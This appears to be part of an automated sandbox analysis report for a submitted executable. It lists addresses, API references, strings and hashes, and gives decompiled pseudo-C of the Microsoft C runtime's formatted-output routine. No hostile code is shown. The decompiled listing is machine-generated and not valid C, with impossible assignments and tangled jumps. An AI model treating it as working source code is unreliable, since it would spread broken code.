0x00434705
0x00000000
0x00434707
0x0043470c
0x00434728
0x00434730
0x0043473d
0x00434742
0x00435601
0x0043560e
0x0043560e
0x00434705
0x004346a8
0x0043553d
0x00435544
0x0043555b
0x0043555b
0x00435565
0x00435565
0x0043556b
0x00435578
0x0043557a
0x0043557f
0x00435581
0x00435586
0x0043558b
0x0043558d
0x00435592
0x00435598
0x0043559a
0x0043559a
0x00435598
0x004355a2
0x004355ed
0x004355f6
0x004355fb
0x004355a4
0x004355a9
0x004355c5
0x004355cd
0x004355da
0x004355df
0x004355df
0x00000000
0x004355a2
0x00435546
0x0043554d
0x00000000
0x00000000
0x0043554f
0x0043554f
0x00000000
0x0043554f
0x00435332
0x00434bfc
0x00434bfc
0x00434c02
0x00434c09
0x00434c0e
0x00434c11
0x00000000
0x00434c11

APIs

_get_int_arg.LIBCMTD ref: 00434BD9
_strlen.LIBCMT ref: 00434C09
_write_multi_char.LIBCMTD ref: 004353AE
_write_string.LIBCMTD ref: 004353C9
_write_multi_char.LIBCMTD ref: 004353F5
_wctomb_s.LIBCMTD ref: 00435472

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004346E9, 00434719
_output_s_l, xrefs: 0043471E
("Incorrect format specifier", 0), xrefs: 004346DD, 00434723
-, xrefs: 0043534E
xD@, xrefs: 00434BFC

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 2232461714-1238480882
Opcode ID: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction ID: fdfd5ddb548d367ebd2be5a39effe33edc990174a708d1de61deb06630d066de
Opcode Fuzzy Hash: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction Fuzzy Hash: 79A17DB0D016289BDF64CF54CC49BEEB7B1EB88305F1491DAD4186B291E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BFC4, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BFC4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E00428400(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043CB90(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043CBD0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043CB90(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043CBD0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041AEF0(_t596 - 0x40);
									_t524 = E0043B630(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043CB30( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043CB90(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C5E0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043CA24))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043CB30( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43ca5c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA44))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43ca84; // 0xc2919003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA70))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43caf0; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043CAB4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B960( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEF0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xd5b65caa
															E00424760(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xd44284aa
																	E00424760(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xd44114aa
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428400(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AEF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AEF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B630(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E00428400(__ebp + 0x14);
													__eax = E00433FB0();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E420();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
														__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AEC0(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428400(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
